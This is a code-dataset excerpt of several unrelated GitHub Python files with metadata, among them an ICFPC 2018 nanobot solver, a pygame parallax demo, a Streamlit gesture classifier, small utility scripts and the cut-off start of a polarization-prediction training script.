Pos(pos1.x, 0, pos1.z)\n return (pos0, pos1)\n\ndef merge_bounding_boxes(b0,b1) -> Tuple[Pos,Pos]:\n bmin0,bmax0 = b0\n bmin1,bmax1 = b1\n if bmin0 is None:\n return b1\n if bmin1 is None:\n return b0\n new_min = Pos(min(bmin0.x,bmin1.x),min(bmin0.y,bmin1.y),min(bmin0.z,bmin1.z))\n new_max = Pos(max(bmax0.x,bmax1.x),max(bmax0.y,bmax1.y),max(bmax0.z,bmax1.z))\n return new_min,new_max\n\ndef is_inside_region(pt : Pos, ref_pt0 : Pos, ref_pt1 : Pos) -> bool:\n return ref_pt0.x <= pt.x <= ref_pt1.x and ref_pt0.y <= pt.y <= ref_pt1.y and ref_pt0.z <= pt.z <= ref_pt1.z\n\n\n# Orthographic (orthogonal) projection from the top\ndef projection_top(m):\n return [ [any([m[Pos(x,y,z)] for y in range(m.R)]) for z in range(m.R)] for x in range(m.R) ]\n\n# Orthographic (orthogonal) projection from front\ndef projection_front(m):\n return [ [any([m[Pos(x,y,z)] for z in range(m.R)]) for y in range(m.R)] for x in range(m.R) ]\n\n\ndef direction(diff) -> 'Diff':\n return Diff(sign(diff.dx), sign(diff.dy), sign(diff.dz))\n\ndef sign(x):\n if x > 0:\n return 1\n elif x < 0:\n return -1\n elif x == 0:\n return 0\n\ndef navigate(f: 'Pos', t: 'Pos'):\n # y is last\n dx = t.x - f.x\n dy = t.y - f.y\n dz = t.z - f.z\n if dy > 0:\n for x in split_linear_move(Diff(0, dy, 0)): yield x\n for x in split_linear_move(Diff(dx, 0, 0)): yield x\n for x in split_linear_move(Diff(0, 0, dz)): yield x\n if dy < 0:\n for x in split_linear_move(Diff(0, dy, 0)): yield x\n\ndef split_move(diff):\n yield split_linear_move(Diff(0,0,diff.dz))\n yield split_linear_move(Diff(0,diff.dy,0))\n yield split_linear_move(Diff(diff.dx,0,0))\n\ndef split_linear_move(diff):\n if diff.mlen() == 0:\n return\n assert(diff.is_linear())\n\n l = abs(diff.mlen())\n norm = direction(diff)\n while l > 0:\n c = min(l, 15)\n l -= c\n yield SMove(norm * c)\n\n####\n# Fission / fusion\n####\n\n# Seeds is the list of seeds of the current bot.\n# This function will make the current bot fission and fill the space to the right\n# (increasing x) with copies as evenly as possible.\n\n# seeds = seeds he has\n# space_right = width of the line (including the cell of the first bot)\n# Assumption: `[bid] ++ seeds` is contiguous.\n\n#TODO: currently they just telescope, but it would be better to do the log thing\ndef fission_fill_right(seeds, space_right):\n strips = []\n strips_sum = 0\n\n def fork_and_move_new(seeds, space_right):\n if not seeds: return []\n #logger.debug('space_right = %d', space_right)\n\n # Each bot gets its own strip\n bots = 1 + len(seeds)\n #logger.debug('Bots = %d', bots)\n strip_width = floor(space_right / bots)\n #logger.debug('Strip width = %d', strip_width)\n strips.append(strip_width)\n nonlocal strips_sum\n strips_sum += strip_width\n\n ticks = []\n\n # fork right giving them all our seeds\n ticks.append([Fission(Diff(1,0,0), len(seeds) - 1)])\n\n # move the new bot to its position\n ticks.extend(wait_for(sequential(move_x(strip_width - 1))))\n\n # Let the new bot do the same\n ticks.extend(wait_for(fork_and_move_new(seeds[1:], space_right - strip_width)))\n\n return ticks\n steps = fork_and_move_new(seeds, space_right)\n strips.append(space_right - strips_sum)\n return (steps, strips)\n\ndef fusion_unfill_right(strips):\n def move_and_unfork(strips):\n if not strips: return []\n ticks = []\n\n # Wait for everyone on the right to finish\n ticks.extend(wait_for(move_and_unfork(strips[1:])))\n\n # Move our child bot to the left\n ticks.extend(wait_for(sequential(move_x(-1 * (strips[0] - 1)))))\n\n # Unfork the bot immediately to the right\n ticks.append([FusionP(Diff(1,0,0)), FusionS(Diff(-1,0,0))])\n\n return ticks\n steps = move_and_unfork(strips[:-1])\n return steps\n\ndef fusion(positions):\n '''Return a sequence of commands that merges the bot ids given in bids.\n Assumes bids is in increasing order and their corresponding positions are in\n an empty xz plane, have identical y and z coordinates and increasing x\n coordinates. Assumes no other bots exist. Returns commands that end with all\n bots merged into the first one.'''\n commands = []\n while len(positions) > 1:\n newpositions = []\n i = 0\n while i < len(positions):\n if i + 1 < len(positions):\n if positions[i].x + 1 == positions[i + 1].x:\n # FUSE\n commands.append(FusionP(Diff(1, 0, 0)))\n commands.append(FusionS(Diff(-1, 0, 0)))\n newpositions.append(positions[i])\n i += 2\n else:\n # MOVE CLOSER\n dist = Diff(max(-15, positions[i] + 1 - positions[i + 1]),\n 0, 0)\n commands.append(Wait())\n commands.append(SMove(dist))\n newpositions.append(positions[i])\n newpositions.append(positions[i + 1] + dist)\n i += 2\n else:\n dist = Diff(max(-15, positions[i - 1] + 1 - positions[i]), 0, 0)\n commands.append(SMove(dist))\n newpositions.append(positions[i] + dist)\n i += 1\n positions = newpositions\n return commands\n\n\n# Move current bot dx to the right (left)\n# Returns a list of moves for the current bot\ndef move_x(dx):\n if dx == 0: return []\n c = 1 - 2 * (dx < 0)\n dx = abs(dx)\n full_steps = dx // JUMP_LONG\n last = dx - JUMP_LONG * full_steps\n return [SMove(Diff(c * JUMP_LONG,0,0))] * full_steps + [SMove(Diff(c * last,0,0))] * (last > 0)\n\n# See ^\ndef move_y(dy):\n if dy == 0: return []\n c = 1 - 2 * (dy < 0)\n dy = abs(dy)\n full_steps = dy // JUMP_LONG\n last = dy - JUMP_LONG * full_steps\n return [SMove(Diff(0,c * JUMP_LONG,0))] * full_steps + [SMove(Diff(0,c * last,0))] * (last > 0)\n\n# See ^\ndef move_z(dz):\n if dz == 0: return []\n c = 1 - 2 * (dz < 0)\n dz = abs(dz)\n full_steps = dz // JUMP_LONG\n last = dz - JUMP_LONG * full_steps\n return [SMove(Diff(0,0,c * JUMP_LONG))] * full_steps + [SMove(Diff(0,0,c * last))] * (last > 0)\n\n\n\n####\n# 2D printing\n####\n\n# Prints a 2D layer with y = i.\n# Assumption: all bots are at y = i + 1.\n# Assumption: all bots are at z = 1. # TODO: relax this\n# Assumption: first bot it at x = 0.\n# Assumption: bots are spaced by distances in `strips`.\ndef print_layer_below(model, i, strips, last):\n bots = []\n lbound = 0\n for strip in strips:\n rbound = lbound + strip\n bots.append(print_strip_below(model, i, lbound, rbound, last))\n lbound = rbound\n return parallel(*bots)\n\n# Prints part of the model layer with y = i which lies at\n# lbound <= x < rbound\ndef print_strip_below(model, i, lbound, rbound, last_layer):\n moves = []\n for z in range(1, model.R - 1):\n if model[Pos(lbound,i,z)]:\n moves.append(Fill(Diff(0,-1,0)))\n logging.debug('xyz = %d %d %d', lbound, i, z)\n for x in range(lbound + 1, rbound):\n logging.debug('xyz = %d %d %d', x, i, z)\n moves.append(SMove(Diff(1,0,0)))\n if model[Pos(x,i,z)]:\n moves.append(Fill(Diff(0,-1,0)))\n moves.extend(move_x(-1 * (rbound - lbound - 1)))\n moves.append(SMove(Diff(0,0,1))) # TODO: optimise this part, make an L move\n moves.extend(move_z(-1 * (model.R - 2 + last_layer)))\n return moves\n", "repo_name": "Vlad-Shcherbina/icfpc2018-tbd", "sub_path": "production/solver_utils.py", "file_name": "solver_utils.py", "file_ext": "py", "file_size_in_byte": 9004, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 6, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 13, "usage_type": "name"}, {"api_name": "production.basics.Pos", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 18, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 19, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 20, "usage_type": "name"}, {"api_name": "production.basics.Pos", "line_number": 35, "usage_type": "call"}, {"api_name": "production.basics.Pos", "line_number": 37, "usage_type": "call"}, {"api_name": "production.basics.Pos", "line_number": 40, "usage_type": "call"}, {"api_name": "production.basics.Pos", "line_number": 41, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 20, "usage_type": "name"}, {"api_name": "production.basics.Pos", "line_number": 20, "usage_type": "name"}, {"api_name": "production.basics.Pos", "line_number": 47, "usage_type": "call"}, {"api_name": "production.basics.Pos", "line_number": 48, "usage_type": "call"}, {"api_name": "production.basics.Pos", "line_number": 58, "usage_type": "call"}, {"api_name": "production.basics.Pos", "line_number": 59, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 51, "usage_type": "name"}, {"api_name": "production.basics.Pos", "line_number": 51, "usage_type": "name"}, {"api_name": "production.basics.Pos", "line_number": 62, "usage_type": "name"}, {"api_name": "production.basics.Pos", "line_number": 68, "usage_type": "call"}, {"api_name": "production.basics.Pos", "line_number": 72, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 76, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 92, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 93, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 94, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 96, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 99, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 100, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 101, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 139, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 148, "usage_type": "call"}, {"api_name": "production.orchestrate.wait_for", "line_number": 151, "usage_type": "call"}, {"api_name": "production.orchestrate.sequential", "line_number": 151, "usage_type": "call"}, {"api_name": "production.orchestrate.wait_for", "line_number": 154, "usage_type": "call"}, {"api_name": "production.orchestrate.wait_for", "line_number": 167, "usage_type": "call"}, {"api_name": "production.orchestrate.wait_for", "line_number": 170, "usage_type": "call"}, {"api_name": "production.orchestrate.sequential", "line_number": 170, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 173, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 193, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 194, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 199, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 207, "usage_type": "call"}, {"api_name": "production.basics.JUMP_LONG", "line_number": 221, "usage_type": "name"}, {"api_name": "production.basics.JUMP_LONG", "line_number": 222, "usage_type": "name"}, {"api_name": "production.basics.Diff", "line_number": 223, "usage_type": "call"}, {"api_name": "production.basics.JUMP_LONG", "line_number": 223, "usage_type": "name"}, {"api_name": "production.basics.JUMP_LONG", "line_number": 230, "usage_type": "name"}, {"api_name": "production.basics.JUMP_LONG", "line_number": 231, "usage_type": "name"}, {"api_name": "production.basics.Diff", "line_number": 232, "usage_type": "call"}, {"api_name": "production.basics.JUMP_LONG", "line_number": 232, "usage_type": "name"}, {"api_name": "production.basics.JUMP_LONG", "line_number": 239, "usage_type": "name"}, {"api_name": "production.basics.JUMP_LONG", "line_number": 240, "usage_type": "name"}, {"api_name": "production.basics.Diff", "line_number": 241, "usage_type": "call"}, {"api_name": "production.basics.JUMP_LONG", "line_number": 241, "usage_type": "name"}, {"api_name": "production.orchestrate.parallel", "line_number": 261, "usage_type": "call"}, {"api_name": "production.basics.Pos", "line_number": 268, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 269, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 270, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 272, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 273, "usage_type": "call"}, {"api_name": "production.basics.Pos", "line_number": 274, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 275, "usage_type": "call"}, {"api_name": "production.basics.Diff", "line_number": 277, "usage_type": "call"}]} +{"seq_id": "10422222178", "text": "\n# DARK FOREST MADE BY LAYERS\n\nimport pygame\n \npygame.init()\n\nclock = pygame.time.Clock()\nFPS = 60\n\n# Dimensions of the screen\nWIDTH, HEIGHT = 900, 800\n \n# Colors\n# BLACK = (0, 0, 0)\n# WHITE = (255, 255, 255)\n# GREEN = (0, 255, 0)\n# RED = (255, 0, 0)\n \nfont = pygame.font.Font('freesansbold.ttf', 15)\n \nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\npygame.display.set_caption(\"Parallax World\")\n\n# Define game variables\nscroll = 0\n\nground_image = pygame.image.load(\"plx-7-8.png\").convert_alpha()\nground_width = ground_image.get_width()\nground_height = ground_image.get_height()\n\n# List of all background images\nbg_images = []\nfor i in range(1, 7):\n bg_image = pygame.image.load(f\"plx-{i}-8.png\").convert_alpha()\n bg_image = pygame.transform.scale(bg_image, (WIDTH, HEIGHT)) # Scale the image to match screen dimensions\n bg_images.append(bg_image)\n\n# Get the width of each image i.e. is same.\nbg_width = bg_images[0].get_width()\n\n# For drawing the images\ndef draw_bg():\n for x in range(5):\n speed=1 \n for i in bg_images:\n screen.blit(i, ((x*bg_width)-scroll*speed, 0)) # Puts all images at this point/coordinate on top of each other and x*bg_width continues the BG in x direction.\n speed+=0.3 # With speeding, it looks fire dude!\n\ndef draw_ground():\n for x in range(15):\n # Damn, this really looks like I'm in train\n screen.blit(ground_image, ((x*ground_width)-scroll*4.2, HEIGHT - ground_height)) # Puts the ground on top of all images\n\n# Loop required to keep the window from closing.\nrun = True\nwhile run:\n\n clock.tick(FPS)\n\n #draw world\n draw_bg()\n draw_ground()\n\n # Get keypresses\n key = pygame.key.get_pressed()\n if(key[pygame.K_LEFT] and scroll>0): # This will not go to the left side.\n scroll -=5\n if(key[pygame.K_RIGHT] and scroll<3000): # This is like the game is going in right direction\n scroll +=5\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n\n pygame.display.update()\n\npygame.quit()", "repo_name": "Tanvi-Chaudhari/PyGame-Tutorials", "sub_path": "ParallaxWorld/ParallaxWorld.py", "file_name": "ParallaxWorld.py", "file_ext": "py", "file_size_in_byte": 2063, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pygame.init", "line_number": 6, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 20, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 35, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 36, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 66, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 66, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 67, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 69, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 72, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 73, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 76, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 76, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 78, "usage_type": "call"}]} +{"seq_id": "75319499527", "text": "import streamlit as st\nimport torch\nimport cv2\nimport numpy as np\nfrom PIL import Image\nimport torchvision.transforms as T\nimport torchvision.transforms.functional as F\n\nfrom model_arch import ResNet, Alex_like\n\n@st.cache_resource\ndef load_model(model_type: str):\n if(model_type == \"AlexNet-like\"):\n model = Alex_like(num_classes=26)\n model.load_state_dict(torch.load('./runs/Alex_Like.pt'))\n else:\n model = ResNet(num_classes=26)\n model.load_state_dict(torch.load('./runs/ResNet34.pt'))\n \n model.eval()\n return model\n\n@st.cache_data\ndef load_class_dict():\n with open(\"classes_dict.txt\", \"r\") as class_dict:\n return eval(class_dict.read())\n\ndef preprocess_image(image):\n transforms = T.Compose([\n T.Resize(size=(200, 200)),\n T.ToTensor(),\n ])\n\n image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n image = image[228:855,64:1856]\n image = Image.fromarray(image)\n image = transforms(image)\n image = F.adjust_sharpness(image, 4.5)\n image = image.numpy()[np.newaxis, :, :, :]\n\n image = torch.tensor(image)\n\n return image\n\ndef predict(image, model) -> torch.tensor: \n with torch.no_grad():\n pred_class = model(image).argmax(dim=1, keepdim=True)\n return pred_class\n\nif __name__ == '__main__':\n st.title('Flux - NN for recognition of simplified movements of a VR controller')\n class_dict = load_class_dict()\n \n option = st.selectbox(\n 'Which model do you want to use for predictions?',\n ('ResNet34', 'AlexNet-like'), \n index=None,\n placeholder=\"Select the model\"\n )\n\n if(option is not None):\n st.markdown(f'''You selected :orange[{option} model] for predictions''')\n\n with st.form(\"Files_to_recognise\", clear_on_submit=True):\n upl_images = st.file_uploader(\"Now choose files for a recognition\", accept_multiple_files=True)\n submitted = st.form_submit_button(\"Recognise\")\n\n if submitted and upl_images is not None:\n images_to_show, captions = [], []\n model = load_model(option)\n\n for upl_image in upl_images:\n file_bytes = np.asarray(bytearray(upl_image.read()), dtype=np.uint8)\n image = cv2.imdecode(file_bytes, 1)\n image = preprocess_image(image)\n images_to_show.append(np.squeeze(image.numpy())) \n\n pred_class = predict(image, model).item()\n\n captions.append(class_dict[pred_class + 1])\n \n st.text(\"Here are the movements and their predicted classes\")\n st.image(images_to_show, captions) \n ", "repo_name": "SanikoZmey/PMDL_NN", "sub_path": "Flux.py", "file_name": "Flux.py", "file_ext": "py", "file_size_in_byte": 2711, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "model_arch.Alex_like", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 15, "usage_type": "call"}, {"api_name": "model_arch.ResNet", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 18, "usage_type": "call"}, {"api_name": "streamlit.cache_resource", "line_number": 11, "usage_type": "attribute"}, {"api_name": "streamlit.cache_data", "line_number": 23, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.Compose", "line_number": 29, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 29, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 30, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 30, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 31, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 31, "usage_type": "name"}, {"api_name": "cv2.cvtColor", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 34, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 36, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 36, "usage_type": "name"}, {"api_name": "torchvision.transforms.functional.adjust_sharpness", "line_number": 38, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 38, "usage_type": "name"}, {"api_name": "numpy.newaxis", "line_number": 39, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 45, "usage_type": "attribute"}, {"api_name": "streamlit.title", "line_number": 51, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 54, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 62, "usage_type": "call"}, {"api_name": "streamlit.form", "line_number": 64, "usage_type": "call"}, {"api_name": "streamlit.file_uploader", "line_number": 65, "usage_type": "call"}, {"api_name": "streamlit.form_submit_button", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 73, "usage_type": "attribute"}, {"api_name": "cv2.imdecode", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 76, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 82, "usage_type": "call"}, {"api_name": "streamlit.image", "line_number": 83, "usage_type": "call"}]} +{"seq_id": "36044240935", "text": "''' Filter '''\r\nimport json\r\ndef main(result):\r\n ''' for '''\r\n check = json.loads(input())\r\n key = float(input())\r\n for i in check:\r\n if key < check[i]: # i = key , check = value\r\n result[int(i)] = ('%.2f')%check[i]\r\n key = sorted(result)\r\n if key == []:\r\n print('Nope')\r\n for i in key:\r\n print(str(i)+'\\t'+str(result[i]))\r\n\r\nmain({})\r\n", "repo_name": "ongsuwannoo/PSIT", "sub_path": "Filter.py", "file_name": "Filter.py", "file_ext": "py", "file_size_in_byte": 389, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "json.loads", "line_number": 5, "usage_type": "call"}]} +{"seq_id": "23433469732", "text": "import json\nimport datetime\n\nwith open('cet.json', 'r+') as f:\n lines = f.readlines()\n f.seek(0)\n f.truncate()\n for line in lines:\n data = json.loads(line)\n date = data[\"dateTime\"]\n data[\"dateTime\"] = datetime.datetime.strptime(date, \"%Y-%m-%d %H:%M:%S\").isoformat()\n line = json.dumps(data)\n f.write(line + '\\n')", "repo_name": "fcas/mobility-analysis", "sub_path": "scripts/cet_data_cleaner.py", "file_name": "cet_data_cleaner.py", "file_ext": "py", "file_size_in_byte": 360, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "json.loads", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 11, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 12, "usage_type": "call"}]} +{"seq_id": "12473874415", "text": "from collections import deque, defaultdict\r\nN, M = map(int, input().split())\r\ngraph = defaultdict(list)\r\nque = deque([])\r\nfor i in range(M):\r\n a, b = map(int, input().split())\r\n a -= 1; b -= 1\r\n graph[a].append(b)\r\n graph[b].append(a)\r\n\r\nque.append(0)\r\ndist = [-1]*N\r\ndist[0] = 0\r\n\r\nwhile que:\r\n x = que.popleft()\r\n for y in graph[x]:\r\n if dist[y] == -1:\r\n dist[y] = dist[x] + 1\r\n que.append(y)\r\n\r\nprint(*dist)", "repo_name": "sbmtrntr/AtCoder", "sub_path": "Practice/9_グラフアルゴリズム/A63.py", "file_name": "A63.py", "file_ext": "py", "file_size_in_byte": 457, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "collections.defaultdict", "line_number": 3, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 4, "usage_type": "call"}]} +{"seq_id": "29248249138", "text": "import cv2\r\nimport numpy as np # Numpy module will be used for horizontal stacking of two frames\r\n\r\nvideo=cv2.VideoCapture(0)\r\na=0\r\nwhile True:\r\n a=a+1\r\n check, frame= video.read()\r\n\r\n # Converting the input frame to grayscale\r\n gray=cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) \r\n\r\n # Fliping the image as said in question\r\n gray_flip = cv2.flip(gray,1)\r\n\r\n # Combining the two different image frames in one window\r\n combined_window = np.hstack([gray,gray_flip])\r\n\r\n # Displaying the single window\r\n cv2.imshow(\"Combined videos \",combined_window)\r\n key=cv2.waitKey(1)\r\n\r\n if key==ord('q'):\r\n break\r\nprint(a)\r\n\r\nvideo.release()\r\ncv2.destroyAllWindows\r\n", "repo_name": "SafwenNaimi/ODACO", "sub_path": "Mirror.py", "file_name": "Mirror.py", "file_ext": "py", "file_size_in_byte": 696, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "cv2.VideoCapture", "line_number": 4, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 11, "usage_type": "attribute"}, {"api_name": "cv2.flip", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 28, "usage_type": "attribute"}]} +{"seq_id": "35642128880", "text": "###########################################################\n# Code to train a BERT model for polarization prediction\n# Author: Luca Adorni\n# Date: January 2023\n###########################################################\n\n# 0. Setup -------------------------------------------------\n\nimport numpy as np\nimport pandas as pd\nimport os\nimport sys\nimport re\nimport pickle\nimport random\nimport multiprocessing\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import r2_score\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import recall_score\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom tabulate import tabulate\nimport dill\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.model_selection import RandomizedSearchCV, GridSearchCV\nfrom catboost import CatBoostRegressor\nimport lightgbm\nimport xgboost as xgb\nimport statsmodels.api as sm\n\n##for clustering\n\nfrom sklearn.linear_model import Lasso\n\ntry:\n # Setup Repository\n with open(\"repo_info.txt\", \"r\") as repo_info:\n path_to_repo = repo_info.readline()\nexcept:\n path_to_repo = f\"{os.getcwd()}/polpo/\"\n sys.path.append(f\"{os.getcwd()}/.local/bin\") # import the temporary path where the server installed the module\n\n\nprint(path_to_repo)\n\npath_to_data = f\"{path_to_repo}data/\"\npath_to_figures = f\"{path_to_repo}figures/\"\npath_to_tables = f\"{path_to_repo}tables/\"\npath_to_raw = f\"{path_to_data}raw/\"\npath_to_links = f\"{path_to_data}links/\"\npath_to_topic = f\"{path_to_data}topic/\"\npath_to_results = f\"{path_to_data}results/\"\npath_to_models = f\"{path_to_data}models/\"\npath_to_models_pol = f\"{path_to_models}ML/\"\npath_to_processed = f\"{path_to_data}processed/\"\npath_to_alberto = \"m-polignano-uniba/bert_uncased_L-12_H-768_A-12_italian_alb3rt0\"\n\nos.makedirs(path_to_figures, exist_ok = True)\nos.makedirs(path_to_tables, exist_ok = True)\nos.makedirs(path_to_topic, exist_ok = True)\nos.makedirs(path_to_results, exist_ok = True)\nos.makedirs(path_to_models, exist_ok = True)\nos.makedirs(path_to_models_pol, exist_ok = True)\n\n\n# 1. Parameters --------------------------------------------------------------------------------------------------\n\nmethod_list = ['frequency', 'onehot','tf_idf']\nrandom_seed = 42\nrandom.seed(random_seed)\ntune_models = True\n\nif tune_models:\n tune_tag = '_tuned'\nelse:\n tune_tag = ''\n\n# 2. Models ---------------------------------------------------------------------------------------------------\n\ndef evaluate_model(X_df, y_df, model):\n preds = model.predict(X_df)\n mae = mean_absolute_error(y_df, preds)\n mse = mean_squared_error(y_df, preds)\n mod_ols = sm.OLS(y_df, sm.add_constant(preds)).fit(cov_type = 'HC1')\n r_squared = 1-mod_ols.ssr/mod_ols.uncentered_tss\n print(f'MAE: {mae: .3f}')\n print(f'MSE: {mse: .3f}')\n print(f'R2: {r_squared: .3f}')\n final_results = {'MAE': mae, 'MSE': mse, 'R2': r_squared}\n return final_results\n\n\nmodel_dict = {\n 'rand_for': RandomForestRegressor(random_state = random_seed, n_jobs = -1)\n #,'lightgbm': lightgbm.LGBMRegressor(random_state = random_seed, n_jobs = -1)\n , 'lasso': Lasso(random_state = random_seed)\n ,'catboost': CatBoostRegressor(random_state = random_seed, thread_count = -1, verbose = False)\n , 'xgboost': xgb.XGBRegressor(random_state = random_seed, n_jobs = -1)\n}\n\n# PARAMETERS FOR LOGISTIC REGRESSION -------\nparam_en = {'alpha': list(np.arange(0,1.1,0.1))}\n\n# PARAMETERS FOR DECISION TREE -------------\n# Number of features to consider at every split\nmax_features = ['auto', 'sqrt']\n# Maximum number of levels in tree\nmax_depth = [int(x) for x in np.linspace(10, 110, num = 11)]\nmax_depth.append(None)\n# Minimum number of samples required to split a node\nmin_samples_split = [2, 5, 10]\n# Minimum number of samples required at each leaf node\nmin_samples_leaf = [1, 2, 4]\n\n# PARAMETERS FOR RANDOM FOREST -------\n# Number of trees in random forest\nn_estimators = [int(x) for x in np.linspace(start = 100, stop = 500, num = 5)]\n\n# Maximum number of samples per tree\nmax_sampl = list(np.arange(0.01,1,0.2))\nmax_sampl.append(None)\n# Create the random grid\nparam_rf = {'n_estimators': n_estimators,\n 'max_features': max_features,\n 'max_depth': max_depth,\n 'min_samples_split': min_samples_split,\n 'min_samples_leaf': min_samples_leaf,\n 'max_samples': max_sampl}\n\n# PARAMETERS FOR GRADIENT BOOSTING --------\n\nlearn_rate = list(np.linspace(0.01, 1, num = 10))\n\n\n# PARAMETERS FOR LIGHTGBM -----------\nparam_lgb = {'max_depth': max_depth,\n 'min_data_in_leaf': min_samples_leaf,\n 'num_iterations': n_estimators,\n 'learning_rate': learn_rate,\n 'colsample_bytree': list(np.linspace(0.1, 1, num = 10)),\n 'subsample': list(np.linspace(0.1, 1, num = 